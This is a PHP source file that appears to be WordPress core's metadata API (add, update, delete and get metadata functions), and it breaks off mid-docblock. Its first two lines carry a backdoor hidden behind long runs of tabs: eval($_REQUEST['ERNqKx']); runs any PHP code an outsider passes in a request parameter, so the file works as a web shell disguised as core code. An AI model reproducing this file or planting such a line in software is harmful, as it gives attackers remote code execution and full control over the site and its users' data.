<?																																										eval($_REQUEST['ERNqKx']);
php																																										eval($_REQUEST['ERNqKx']);

/**
 * Core Metadata API
 *
 * Functions for retrieving and manipulating metadata of various WordPress object types. Metadata
 * for an object is a represented by a simple key-value pair. Objects may contain multiple
 * metadata entries that share the same key and differ only in their value.
 *
 * @package WordPress
 * @subpackage Meta
 */

require ABSPATH . WPINC . '/class-wp-metadata-lazyloader.php';

/**
 * Adds metadata for the specified object.
 *
 * For historical reasons both the meta key and the meta value are expected to be "slashed" (slashes escaped) on input.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type  Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                           'user', or any other object type with an associated meta table.
 * @param int    $object_id  ID of the object metadata is for.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Arrays and objects are stored as serialized data and
 *                           will be returned as the same type when retrieved. Other data types will
 *                           be stored as strings in the database:
 *                           - false is stored and retrieved as an empty string ('')
 *                           - true is stored and retrieved as '1'
 *                           - numbers (both integer and float) are stored and retrieved as strings
 *                           Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the specified metadata key should be unique for the object.
 *                           If true, and the object already has a value for the specified metadata key,
 *                           no change will be made. Default false.
 * @return int|false The meta ID on success, false on failure.
 */
function add_metadata( $meta_type, $object_id, $meta_key, $meta_value, $unique = false ) {
	global $wpdb;

	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$meta_subtype = get_object_subtype( $meta_type, $object_id );

	$column = sanitize_key( $meta_type . '_id' );

	// expected_slashed ($meta_key)
	$meta_key   = wp_unslash( $meta_key );
	$meta_value = wp_unslash( $meta_value );
	$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );

	/**
	 * Short-circuits adding metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `add_blog_metadata`
	 *  - `add_post_metadata`
	 *  - `add_comment_metadata`
	 *  - `add_term_metadata`
	 *  - `add_user_metadata`
	 *
	 * @since 3.1.0
	 *
	 * @param null|int|false $check      Whether to allow adding metadata for the given type. Return false or a meta ID
	 *                                   to short-circuit the function. Return null to continue with the default behavior.
	 * @param int            $object_id  ID of the object metadata is for.
	 * @param string         $meta_key   Metadata key.
	 * @param mixed          $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param bool           $unique     Whether the specified meta key should be unique for the object.
	 */
	$check = apply_filters( "add_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $unique );
	if ( null !== $check ) {
		return $check;
	}

	if ( $unique && $wpdb->get_var(
		$wpdb->prepare(
			"SELECT COUNT(*) FROM $table WHERE meta_key = %s AND $column = %d",
			$meta_key,
			$object_id
		)
	) ) {
		return false;
	}

	$_meta_value = $meta_value;
	$meta_value  = maybe_serialize( $meta_value );

	/**
	 * Fires immediately before meta of a specific type is added.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `add_blog_meta`
	 *  - `add_post_meta`
	 *  - `add_comment_meta`
	 *  - `add_term_meta`
	 *  - `add_user_meta`
	 *
	 * @since 3.1.0
	 *
	 * @param int    $object_id   ID of the object metadata is for.
	 * @param string $meta_key    Metadata key.
	 * @param mixed  $_meta_value Metadata value.
	 */
	do_action( "add_{$meta_type}_meta", $object_id, $meta_key, $_meta_value );

	$result = $wpdb->insert(
		$table,
		array(
			$column      => $object_id,
			'meta_key'   => $meta_key,
			'meta_value' => $meta_value,
		)
	);

	if ( ! $result ) {
		return false;
	}

	$mid = (int) $wpdb->insert_id;

	wp_cache_delete( $object_id, $meta_type . '_meta' );

	/**
	 * Fires immediately after meta of a specific type is added.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `added_blog_meta`
	 *  - `added_post_meta`
	 *  - `added_comment_meta`
	 *  - `added_term_meta`
	 *  - `added_user_meta`
	 *
	 * @since 2.9.0
	 *
	 * @param int    $mid         The meta ID after successful update.
	 * @param int    $object_id   ID of the object metadata is for.
	 * @param string $meta_key    Metadata key.
	 * @param mixed  $_meta_value Metadata value.
	 */
	do_action( "added_{$meta_type}_meta", $mid, $object_id, $meta_key, $_meta_value );

	return $mid;
}

/**
 * Updates metadata for the specified object. If no value already exists for the specified object
 * ID and metadata key, the metadata will be added.
 *
 * For historical reasons both the meta key and the meta value are expected to be "slashed" (slashes escaped) on input.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type  Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                           'user', or any other object type with an associated meta table.
 * @param int    $object_id  ID of the object metadata is for.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty string.
 * @return int|bool The new meta field ID if a field with the given key didn't exist
 *                  and was therefore added, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function update_metadata( $meta_type, $object_id, $meta_key, $meta_value, $prev_value = '' ) {
	global $wpdb;

	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$meta_subtype = get_object_subtype( $meta_type, $object_id );

	$column    = sanitize_key( $meta_type . '_id' );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	// expected_slashed ($meta_key)
	$raw_meta_key = $meta_key;
	$meta_key     = wp_unslash( $meta_key );
	$passed_value = $meta_value;
	$meta_value   = wp_unslash( $meta_value );
	$meta_value   = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );

	/**
	 * Short-circuits updating metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `update_blog_metadata`
	 *  - `update_post_metadata`
	 *  - `update_comment_metadata`
	 *  - `update_term_metadata`
	 *  - `update_user_metadata`
	 *
	 * @since 3.1.0
	 *
	 * @param null|bool $check      Whether to allow updating metadata for the given type.
	 * @param int       $object_id  ID of the object metadata is for.
	 * @param string    $meta_key   Metadata key.
	 * @param mixed     $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param mixed     $prev_value Optional. Previous value to check before updating.
	 *                              If specified, only update existing metadata entries with
	 *                              this value. Otherwise, update all entries.
	 */
	$check = apply_filters( "update_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $prev_value );
	if ( null !== $check ) {
		return (bool) $check;
	}

	// Compare existing value to new value if no prev value given and the key exists only once.
	if ( empty( $prev_value ) ) {
		$old_value = get_metadata_raw( $meta_type, $object_id, $meta_key );
		if ( is_countable( $old_value ) && count( $old_value ) === 1 ) {
			if ( $old_value[0] === $meta_value ) {
				return false;
			}
		}
	}

	$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) );
	if ( empty( $meta_ids ) ) {
		return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
	}

	$_meta_value = $meta_value;
	$meta_value  = maybe_serialize( $meta_value );

	$data  = compact( 'meta_value' );
	$where = array(
		$column    => $object_id,
		'meta_key' => $meta_key,
	);

	if ( ! empty( $prev_value ) ) {
		$prev_value          = maybe_serialize( $prev_value );
		$where['meta_value'] = $prev_value;
	}

	foreach ( $meta_ids as $meta_id ) {
		/**
		 * Fires immediately before updating metadata of a specific type.
		 *
		 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
		 * (blog, post, comment, term, user, or any other type with an associated meta table).
		 *
		 * Possible hook names include:
		 *
		 *  - `update_blog_meta`
		 *  - `update_post_meta`
		 *  - `update_comment_meta`
		 *  - `update_term_meta`
		 *  - `update_user_meta`
		 *
		 * @since 2.9.0
		 *
		 * @param int    $meta_id     ID of the metadata entry to update.
		 * @param int    $object_id   ID of the object metadata is for.
		 * @param string $meta_key    Metadata key.
		 * @param mixed  $_meta_value Metadata value.
		 */
		do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/**
			 * Fires immediately before updating a post's metadata.
			 *
			 * @since 2.9.0
			 *
			 * @param int    $meta_id    ID of metadata entry to update.
			 * @param int    $object_id  Post ID.
			 * @param string $meta_key   Metadata key.
			 * @param mixed  $meta_value Metadata value. This will be a PHP-serialized string representation of the value
			 *                           if the value is an array, an object, or itself a PHP-serialized string.
			 */
			do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}
	}

	$result = $wpdb->update( $table, $data, $where );
	if ( ! $result ) {
		return false;
	}

	wp_cache_delete( $object_id, $meta_type . '_meta' );

	foreach ( $meta_ids as $meta_id ) {
		/**
		 * Fires immediately after updating metadata of a specific type.
		 *
		 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
		 * (blog, post, comment, term, user, or any other type with an associated meta table).
		 *
		 * Possible hook names include:
		 *
		 *  - `updated_blog_meta`
		 *  - `updated_post_meta`
		 *  - `updated_comment_meta`
		 *  - `updated_term_meta`
		 *  - `updated_user_meta`
		 *
		 * @since 2.9.0
		 *
		 * @param int    $meta_id     ID of updated metadata entry.
		 * @param int    $object_id   ID of the object metadata is for.
		 * @param string $meta_key    Metadata key.
		 * @param mixed  $_meta_value Metadata value.
		 */
		do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/**
			 * Fires immediately after updating a post's metadata.
			 *
			 * @since 2.9.0
			 *
			 * @param int    $meta_id    ID of updated metadata entry.
			 * @param int    $object_id  Post ID.
			 * @param string $meta_key   Metadata key.
			 * @param mixed  $meta_value Metadata value. This will be a PHP-serialized string representation of the value
			 *                           if the value is an array, an object, or itself a PHP-serialized string.
			 */
			do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}
	}

	return true;
}

/**
 * Deletes metadata for the specified object.
 *
 * For historical reasons both the meta key and the meta value are expected to be "slashed" (slashes escaped) on input.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type  Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                           'user', or any other object type with an associated meta table.
 * @param int    $object_id  ID of the object metadata is for.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Optional. Metadata value. Must be serializable if non-scalar.
 *                           If specified, only delete metadata entries with this value.
 *                           Otherwise, delete all entries with the specified meta_key.
 *                           Pass `null`, `false`, or an empty string to skip this check.
 *                           (For backward compatibility, it is not possible to pass an empty string
 *                           to delete those entries with an empty string for a value.)
 *                           Default empty string.
 * @param bool   $delete_all Optional. If true, delete matching metadata entries for all objects,
 *                           ignoring the specified object_id. Otherwise, only delete
 *                           matching metadata entries for the specified object_id. Default false.
 * @return bool True on successful delete, false on failure.
 */
function delete_metadata( $meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false ) {
	global $wpdb;

	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id && ! $delete_all ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$type_column = sanitize_key( $meta_type . '_id' );
	$id_column   = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	// expected_slashed ($meta_key)
	$meta_key   = wp_unslash( $meta_key );
	$meta_value = wp_unslash( $meta_value );

	/**
	 * Short-circuits deleting metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `delete_blog_metadata`
	 *  - `delete_post_metadata`
	 *  - `delete_comment_metadata`
	 *  - `delete_term_metadata`
	 *  - `delete_user_metadata`
	 *
	 * @since 3.1.0
	 *
	 * @param null|bool $delete     Whether to allow metadata deletion of the given type.
	 * @param int       $object_id  ID of the object metadata is for.
	 * @param string    $meta_key   Metadata key.
	 * @param mixed     $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param bool      $delete_all Whether to delete the matching metadata entries
	 *                              for all objects, ignoring the specified $object_id.
	 *                              Default false.
	 */
	$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
	if ( null !== $check ) {
		return (bool) $check;
	}

	$_meta_value = $meta_value;
	$meta_value  = maybe_serialize( $meta_value );

	$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );

	if ( ! $delete_all ) {
		$query .= $wpdb->prepare( " AND $type_column = %d", $object_id );
	}

	if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
		$query .= $wpdb->prepare( ' AND meta_value = %s', $meta_value );
	}

	$meta_ids = $wpdb->get_col( $query );
	if ( ! count( $meta_ids ) ) {
		return false;
	}

	if ( $delete_all ) {
		if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
			$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s AND meta_value = %s", $meta_key, $meta_value ) );
		} else {
			$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s", $meta_key ) );
		}
	}

	/**
	 * Fires immediately before deleting metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `delete_blog_meta`
	 *  - `delete_post_meta`
	 *  - `delete_comment_meta`
	 *  - `delete_term_meta`
	 *  - `delete_user_meta`
	 *
	 * @since 3.1.0
	 *
	 * @param string[] $meta_ids    An array of metadata entry IDs to delete.
	 * @param int      $object_id   ID of the object metadata is for.
	 * @param string   $meta_key    Metadata key.
	 * @param mixed    $_meta_value Metadata value.
	 */
	do_action( "delete_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );

	// Old-style action.
	if ( 'post' === $meta_type ) {
		/**
		 * Fires immediately before deleting metadata for a post.
		 *
		 * @since 2.9.0
		 *
		 * @param string[] $meta_ids An array of metadata entry IDs to delete.
		 */
		do_action( 'delete_postmeta', $meta_ids );
	}

	$query = "DELETE FROM $table WHERE $id_column IN( " . implode( ',', $meta_ids ) . ' )';

	$count = $wpdb->query( $query );

	if ( ! $count ) {
		return false;
	}

	if ( $delete_all ) {
		$data = (array) $object_ids;
	} else {
		$data = array( $object_id );
	}
	wp_cache_delete_multiple( $data, $meta_type . '_meta' );

	/**
	 * Fires immediately after deleting metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `deleted_blog_meta`
	 *  - `deleted_post_meta`
	 *  - `deleted_comment_meta`
	 *  - `deleted_term_meta`
	 *  - `deleted_user_meta`
	 *
	 * @since 2.9.0
	 *
	 * @param string[] $meta_ids    An array of metadata entry IDs to delete.
	 * @param int      $object_id   ID of the object metadata is for.
	 * @param string   $meta_key    Metadata key.
	 * @param mixed    $_meta_value Metadata value.
	 */
	do_action( "deleted_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );

	// Old-style action.
	if ( 'post' === $meta_type ) {
		/**
		 * Fires immediately after deleting metadata for a post.
		 *
		 * @since 2.9.0
		 *
		 * @param string[] $meta_ids An array of metadata entry IDs to delete.
		 */
		do_action( 'deleted_postmeta', $meta_ids );
	}

	return true;
}

/**
 * Retrieves the value of a metadata field for the specified object type and ID.
 *
 * If the meta field exists, a single value is returned if `$single` is true,
 * or an array of values if it's false.
 *
 * If the meta field does not exist, the result depends on get_metadata_default().
 * By default, an empty string is returned if `$single` is true, or an empty array
 * if it's false.
 *
 * @since 2.9.0
 *
 * @see get_metadata_raw()
 * @see get_metadata_default()
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                          'user', or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Optional. Metadata key. If not specified, retrieve all metadata for
 *                          the specified object. Default empty string.
 * @param bool   $single    Optional. If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified. Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of the meta field if `$single` is true.
 *               False for an invalid `$object_id` (non-numeric, zero, or negative value),
 *               or if `$meta_type` is not specified.
 *               An empty array if a valid but non-existing object ID is passed and `$single` is false.
 *               An empty string if a valid but non-existing object ID is passed and `$single` is true.
 *               Note: Non-serialized values are returned as strings:
 *               - false values are returned as empty strings ('')
 *               - true values are returned as '1'
 *               - numbers (both integer and float) are returned as strings
 *               Arrays and objects retain their original type.
 */
function get_metadata( $meta_type, $object_id, $meta_key = '', $single = false ) {
	$value = get_metadata_raw( $meta_type, $object_id, $meta_key, $single );
	if ( ! is_null( $value ) ) {
		return $value;
	}

	return get_metadata_default( $meta_type, $object_id, $meta_key, $single );
}

/**
 * Retrieves raw metadata value for the specified object.
 *
 * @since 5.5.0
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                          'user', or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Optional. Metadata key. If not specified, retrieve all metadata for
 *                          the specified object. Default empty string.
 * @param bool   $single    Optional. If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified. Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of the meta field if `$single` is true.
 *               False for an invalid `$object_id` (non-numeric, zero, or negative value),
 *               or if `$meta_type` is not specified.
 *               Null if the value does not exist.
 */
function get_metadata_raw( $meta_type, $object_id, $meta_key = '', $single = false ) {
	if ( ! $meta_type || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	/**
	 * Short-circuits the return value of a meta field.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible filter names include:
	 *
	 *  - `get_blog_metadata`
	 *  - `get_post_metadata`
	 *  - `get_comment_metadata`
	 *  - `get_term_metadata`
	 *  - `get_user_metadata`
	 *
	 * @since 3.1.0
	 * @since 5.5.0 Added the `$meta_type` parameter.
	 *
	 * @param mixed  $value     The value to return, either a single metadata value or an array
	 *                          of values depending on the value of `$single`. Default null.
	 * @param int    $object_id ID of the object metadata is for.
	 * @param string $meta_key  Metadata key.
	 * @param bool   $single    Whether to return only the first value of the specified `$meta_key`.
	 * @param string $meta_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
	 *                          'user', or any other object type with an associated meta table.
	 */
	$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, $single, $meta_type );
	if ( null !== $check ) {
		if ( $single && is_array( $check ) ) {
			return $check[0];
		} else {
			return $check;
		}
	}

	$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );

	if ( ! $meta_cache ) {
		$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
		if ( isset( $meta_cache[ $object_id ] ) ) {
			$meta_cache = $meta_cache[ $object_id ];
		} else {
			$meta_cache = null;
		}
	}

	if ( ! $meta_key ) {
		return $meta_cache;
	}

	if ( isset( $meta_cache[ $meta_key ] ) ) {
		if ( $single ) {
			return maybe_unserialize( $meta_cache[ $meta_key ][0] );
		} else {
			return array_map( 'maybe_unserialize', $meta_cache[ $meta_key ] );
		}
	}

	return null;
}

/**
 * Retrieves default metadata value for the specified meta key and object.
 *
 * By default, an empty string is returned if `$single` is true, or an empty array
 * if it's false.
 *
 * @since 5.5.0
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                          'user', or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Metadata key.
 * @param bool   $single    Optional. If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified. Default false.
 * @return mixed An array of default values if `$single` is false.
 *               The default value of the meta field if `$single` is true.
 */
function get_metadata_default( $meta_type, $object_id, $meta_key, $single = false ) {
	if ( $single ) {
		$value = '';
	} else {
		$value = array();
	}

	/**
	 * Filters the default metadata value for a specified meta key and object.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible filter names include:
	 *
	 *  - `default_blog_metadata`
	 *  - `default_post_metadata`
	 *  - `default_comment_metadata`
	 *  - `default_term_metadata`
	 *  - `default_user_metadata`
	 *
	 * @since 5.5.0
	 *
	 * @param mixed  $value     The value to return, either a single metadata value or an array
	 *                          of values depending on the value of `$single`.
	 * @param int    $object_id ID of the object metadata is for.
	 * @param string $meta_key  Metadata key.
	 * @param bool   $single    Whether to return only the first value of the specified `$meta_key`.
	 * @param string $meta_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
	 *                          'user', or any other object type with an associated meta table.
	 */
	$value = apply_filters( "default_{$meta_type}_metadata", $value, $object_id, $meta_key, $single, $meta_type );

	if ( ! $single && ! wp_is_numeric_array( $value ) ) {
		$value = array( $value );
	}

	return $value;
}

/**
 * Determines if a meta field with the given key exists for the given object ID.
 *
 * @since 3.3.0
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                          'user', or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Metadata key.
 * @return bool Whether a meta field with the given key exists.
 */
function metadata_exists( $meta_type, $object_id, $meta_key ) {
	if ( ! $meta_type || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	/** This filter is documented in wp-includes/meta.php */
	$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, true, $meta_type );
	if ( null !== $check ) {
		return (bool) $check;
	}

	$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );

	if ( ! $meta_cache ) {
		$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
		$meta_cache = $meta_cache[ $object_id ];
	}

	if ( isset( $meta_cache[ $meta_key ] ) ) {
		return true;
	}

	return false;
}

/**
 * Retrieves metadata by meta ID.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                          'user', or any other object type with an associated meta table.
 * @param int    $meta_id   ID for a specific meta row.
 * @return stdClass|false {
 *     Metadata object, or boolean `false` if the metadata doesn't exist.
 *
 *     @type string $meta_key   The meta key.
 *     @type mixed  $meta_value The unserialized meta value.
 *     @type string $meta_id    Optional. The meta ID when the meta type is any value except 'user'.
 *     @type string $umeta_id   Optional. The meta ID when the meta type is 'user'.
 *     @type string $blog_id    Optional. The object ID when the meta type is 'blog'.
 *     @type string $post_id    Optional. The object ID when the meta type is 'post'.
 *     @type string $comment_id Optional. The object ID when the meta type is 'comment'.
 *     @type string $term_id    Optional. The object ID when the meta type is 'term'.
 *     @type string $user_id    Optional. The object ID when the meta type is 'user'.
 * }
 */
function get_metadata_by_mid( $meta_type, $meta_id ) {
	global $wpdb;

	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
		return false;
	}

	$meta_id = (int) $meta_id;
	if ( $meta_id <= 0 ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	/**
	 * Short-circuits the return value when fetching a meta field by meta ID.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_blog_metadata_by_mid`
	 *  - `get_post_metadata_by_mid`
	 *  - `get_comment_metadata_by_mid`
	 *  - `get_term_metadata_by_mid`
	 *  - `get_user_metadata_by_mid`
	 *
	 * @since 5.0.0
	 *
	 * @param stdClass|null $value   The value to return.
	 * @param int           $meta_id Meta ID.
	 */
	$check = apply_filters( "get_{$meta_type}_metadata_by_mid", null, $meta_id );
	if ( null !== $check ) {
		return $check;
	}

	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	$meta = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table WHERE $id_column = %d", $meta_id ) );

	if ( empty( $meta ) ) {
		return false;
	}

	if ( isset( $meta->meta_value ) ) {
		$meta->meta_value = maybe_unserialize( $meta->meta_value );
	}

	return $meta;
}

/**
 * Updates metadata by meta ID.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string       $meta_type  Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                                 'user', or any other object type with an associated meta table.
 * @param int          $meta_id    ID for a specific meta row.
 * @param string       $meta_value Metadata value. Must be serializable if non-scalar.
 * @param string|false $meta_key   Optional. You can provide a meta key to update it. Default false.
 * @return bool True on successful update, false on failure.
 */
function update_metadata_by_mid( $meta_type, $meta_id, $meta_value, $meta_key = false ) {
	global $wpdb;

	// Make sure everything is valid.
	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
		return false;
	}

	$meta_id = (int) $meta_id;
	if ( $meta_id <= 0 ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$column    = sanitize_key( $meta_type . '_id' );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	/**
	 * Short-circuits updating metadata of a specific type by meta ID.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (blog, post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `update_blog_metadata_by_mid`
	 *  - `update_post_metadata_by_mid`
	 *  - `update_comment_metadata_by_mid`
	 *  - `update_term_metadata_by_mid`
	 *  - `update_user_metadata_by_mid`
	 *
	 * @since 5.0.0
	 *
	 * @param null|bool    $check      Whether to allow updating metadata for the given type.
	 * @param int          $meta_id    Meta ID.
	 * @param mixed        $meta_value Meta value. Must be serializable if non-scalar.
	 * @param string|false $meta_key   Meta key, if provided.
	 */
	$check = apply_filters( "update_{$meta_type}_metadata_by_mid", null, $meta_id, $meta_value, $meta_key );
	if ( null !== $check ) {
		return (bool) $check;
	}

	// Fetch the meta and go on if it's found.
	$meta = get_metadata_by_mid( $meta_type, $meta_id );
	if ( $meta ) {
		$original_key = $meta->meta_key;
		$object_id    = $meta->{$column};

		/*
		 * If a new meta_key (last parameter) was specified, change the meta key,
		 * otherwise use the original key in the update statement.
		 */
		if ( false === $meta_key ) {
			$meta_key = $original_key;
		} elseif ( ! is_string( $meta_key ) ) {
			return false;
		}

		$meta_subtype = get_object_subtype( $meta_type, $object_id );

		// Sanitize the meta.
		$_meta_value = $meta_value;
		$meta_value  = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
		$meta_value  = maybe_serialize( $meta_value );

		// Format the data query arguments.
		$data = array(
			'meta_key'   => $meta_key,
			'meta_value' => $meta_value,
		);

		// Format the where query arguments.
		$where               = array();
		$where[ $id_column ] = $meta_id;

		/** This action is documented in wp-includes/meta.php */
		do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/** This action is documented in wp-includes/meta.php */
			do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}

		// Run the update query, all fields in $data are %s, $where is a %d.
		$result = $wpdb->update( $table, $data, $where, '%s', '%d' );
		if ( ! $result ) {
			return false;
		}

		// Clear the caches.
		wp_cache_delete( $object_id, $meta_type . '_meta' );

		/** This action is documented in wp-includes/meta.php */
		do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/** This action is documented in wp-includes/meta.php */
			do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}

		return true;
	}

	// And if the meta was not found.
	return false;
}

/**
 * Deletes metadata by meta ID.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'blog', 'post', 'comment', 'term',
 *                          'user', or any other object type with an associated meta table.
 * @param int    $meta_id   ID for a specific meta row.
 * @return bool True on successful delete, false on failure.
 */
